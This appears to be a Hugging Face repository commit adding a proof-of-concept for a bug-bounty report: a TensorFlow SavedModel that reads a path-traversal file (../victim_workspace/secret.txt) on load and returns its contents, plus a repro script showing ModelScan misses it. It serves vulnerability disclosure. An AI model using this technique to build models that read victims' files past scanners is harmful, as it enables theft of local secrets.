noshkas commited on
Commit
dcd82ce
·
verified ·
1 Parent(s): 0d8388a

Upload 4 files

Browse files
Files changed (4) hide show
  1. README.md +40 -0
  2. repro.py +57 -0
  3. requirements.txt +2 -0
  4. saved_model.pb +3 -0
README.md ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ library_name: tensorflow
3
+ tags:
4
+ - security-research
5
+ - tensorflow
6
+ - savedmodel
7
+ - modelscan
8
+ ---
9
+
10
+ # TensorFlow SavedModel TextFileInitializer ModelScan Bypass PoC
11
+
12
+ This is a harmless proof-of-concept TensorFlow SavedModel for an authorized Huntr report.
13
+
14
+ The model contains `InitializeTableFromTextFileV2` and a model-controlled relative filename:
15
+
16
+ ```text
17
+ ../victim_workspace/secret.txt
18
+ ```
19
+
20
+ ModelScan 0.8.8 reports zero issues for this `saved_model.pb`, while TensorFlow 2.21.0 loads the model and returns the first line of that local file through `serving_default`.
21
+
22
+ Run:
23
+
24
+ ```bash
25
+ cd <repo-root>
26
+ python -m venv .venv
27
+ source .venv/bin/activate
28
+ python -m pip install -r requirements.txt
29
+ CUDA_VISIBLE_DEVICES=-1 python repro.py
30
+ ```
31
+
32
+ Expected:
33
+
34
+ ```json
35
+ {
36
+ "modelscan_issue_count": 0,
37
+ "leaked_expected_line": true,
38
+ "visible_gpu_count": 0
39
+ }
40
+ ```
repro.py ADDED
@@ -0,0 +1,57 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import json
2
+ import os
3
+ from pathlib import Path
4
+
5
+ import tensorflow as tf
6
+ from modelscan.modelscan import ModelScan
7
+
8
+
9
+ ROOT = Path(__file__).resolve().parent
10
+ SECRET_LINE = "TOKEN_FROM_MODEL_CHOSEN_FILE=local-fixture-secret"
11
+
12
+
13
+ def scan_model() -> int:
14
+ scanner = ModelScan()
15
+ scanner.scan(ROOT)
16
+ return len(scanner.issues.all_issues)
17
+
18
+
19
+ def run_model() -> str:
20
+ loader_cwd = ROOT / "loader_cwd"
21
+ victim_workspace = ROOT / "victim_workspace"
22
+ loader_cwd.mkdir(exist_ok=True)
23
+ victim_workspace.mkdir(exist_ok=True)
24
+ (victim_workspace / "secret.txt").write_text(SECRET_LINE + "\n")
25
+
26
+ old_cwd = Path.cwd()
27
+ os.chdir(loader_cwd)
28
+ try:
29
+ model = tf.saved_model.load(str(ROOT))
30
+ output = model.signatures["serving_default"](x=tf.constant(1.0))[
31
+ "leaked_line"
32
+ ]
33
+ return output.numpy().decode("utf-8", errors="replace")
34
+ finally:
35
+ os.chdir(old_cwd)
36
+
37
+
38
+ def main() -> None:
39
+ leaked_line = run_model()
40
+ print(
41
+ json.dumps(
42
+ {
43
+ "tensorflow_version": tf.__version__,
44
+ "visible_gpu_count": len(tf.config.list_physical_devices("GPU")),
45
+ "cuda_visible_devices": os.environ.get("CUDA_VISIBLE_DEVICES"),
46
+ "modelscan_issue_count": scan_model(),
47
+ "leaked_line": leaked_line,
48
+ "leaked_expected_line": leaked_line == SECRET_LINE,
49
+ },
50
+ indent=2,
51
+ sort_keys=True,
52
+ )
53
+ )
54
+
55
+
56
+ if __name__ == "__main__":
57
+ main()
requirements.txt ADDED
@@ -0,0 +1,2 @@
 
 
 
1
+ tensorflow==2.21.0
2
+ modelscan==0.8.8
saved_model.pb ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:ae95329e0877bb4a1b314cbf9b0391711bdd681917c97b55b730e56761e24a78
3
+ size 2090